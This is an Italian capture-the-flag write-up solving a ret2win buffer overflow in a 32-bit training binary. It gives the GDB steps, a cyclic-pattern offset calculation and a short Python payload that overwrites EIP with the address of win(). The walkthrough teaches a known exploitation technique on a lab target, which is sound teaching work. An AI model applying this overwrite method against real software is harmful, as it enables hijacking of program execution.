Soluzione

1. Analisi del file binario

Possiamo iniziare analizzando il binario utilizzando il comando `file`:

bash
Copy code
```
file ./buffer_overflow_easy
```

Output:

plaintext
Copy code
```
./buffer_overflow_easy: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,
BuildID[sha1]=04cb01ad3d9923a3f09cc0e3b49ab01164430455, for GNU/Linux
3.2.0, not stripped
```

- Questo output ci indica che il binario è a **32-bit** su architettura **Intel 80386**.
- **Not stripped** significa che contiene informazioni su funzioni e simboli, quindi sarà possibile vederne l'architettura in GDB.

2. Analisi preliminare del binario in GDB

Lanciando il binario con `gdb`:

bash
Copy code
```
gdb ./buffer_overflow_easy
```

Possiamo verificare l'esistenza della funzione `win` usando il comando:
gdb
Copy code
```
info functions
```

-

- Questo mostra che `win()` è presente e che, se raggiunta, visualizzerà la flag. Pertanto, l'obiettivo è far eseguire `win()` manipolando il flusso di esecuzione tramite buffer overflow, ottenendo un **CTF di tipo ret2win**.

Ret2win: un attacco **ret2win** consiste nel reindirizzare il flusso di esecuzione del programma direttamente a una funzione predefinita (in questo caso `win()`), utilizzando un buffer overflow per sovrascrivere l'indirizzo di ritorno della funzione vulnerabile.

3. Verifica della vulnerabilità

Usiamo un breakpoint nella funzione `vuln()` per analizzare l'input:

gdb
Copy code
```
b vuln
run
```

L'input viene gestito dalla funzione `gets()`, vulnerabile per **buffer overflow** poiché non verifica la lunghezza dell'input, permettendo di sovrascrivere l'indirizzo di ritorno.

4. Calcolo dell'offset

Per capire dove si trova l'indirizzo di ritorno da sovrascrivere, usiamo un **pattern unico** tramite **cyclic pattern** di pwntools:

Python
```
from pwn import cyclic
print(cyclic(100))  # Genera una sequenza di 100 byte per causare segmentation fault
```

Eseguiamo questo pattern come input e osserviamo quando si verifica il segmentation fault:

gdb
```
run < <(python3 -c 'from pwn import cyclic; print(cyclic(100))')
```

O in alternativa inserire l'input generato dal comando cyclic 100.

Dopo il crash, possiamo verificare il contenuto del registro `EIP`:

gdb
```
info registers eip
```

Registro `EIP`: è un registro dell'architettura x86 che indica l'indirizzo della prossima istruzione da eseguire. Se sovrascriviamo `EIP` con l'indirizzo della funzione `win`, possiamo eseguire direttamente `win()`.

Per trovare esattamente l'offset del pattern che causa la sovrascrittura di `EIP`:

python
```
from pwn import cyclic_find
offset = cyclic_find(0x61616174)  # Inserisci l'indirizzo trovato in EIP
print(offset)  # Questo sarà l'offset richiesto
```

O in alternativa, da bash, usare il comando cyclic -l 0x61616174.

5. Recupero dell'indirizzo di `win`

L'indirizzo della funzione `win()` può essere trovato in GDB:

gdb
```
p win
```

Questo restituisce un indirizzo, ad esempio:

```
0x8049196
```

6. Costruzione del payload

Ora abbiamo tutto per l'exploit:

- **Offset**: posizione in cui avviene il buffer overflow (76).
- **Indirizzo di `win`**: indirizzo a cui vogliamo reindirizzare il flusso di esecuzione.

Costruiamo il payload in Python:

python
```
offset = 76
win_addr = 0x8049196

payload = b"A" * offset + win_addr.to_bytes(4, byteorder='little')

with open("exploit.txt", "wb") as f:
    f.write(payload)
```

- `b"A" * offset` crea un padding fino a raggiungere l'indirizzo di ritorno.
- `win_addr.to_bytes(4, byteorder='little')` converte l'indirizzo di `win` in formato little-endian, necessario per l'architettura x86.
- Salvando il payload in `exploit.txt`, possiamo utilizzarlo direttamente come input per il binario.

7. Esecuzione dell'exploit

Per testare il payload:

bash
```
gdb ./buffer_overflow_easy
run < exploit.txt
```

Se l'exploit è corretto, l'output dovrebbe mostrare:

```
Congratulazioni! Hai trovato la flag: FLAG{buffer_overflow_success}
```

CWE coinvolti

- **CWE-120**: Buffer Copy senza adeguati controlli di limite.
- **CWE-121**: Scrittura di buffer oltre i limiti.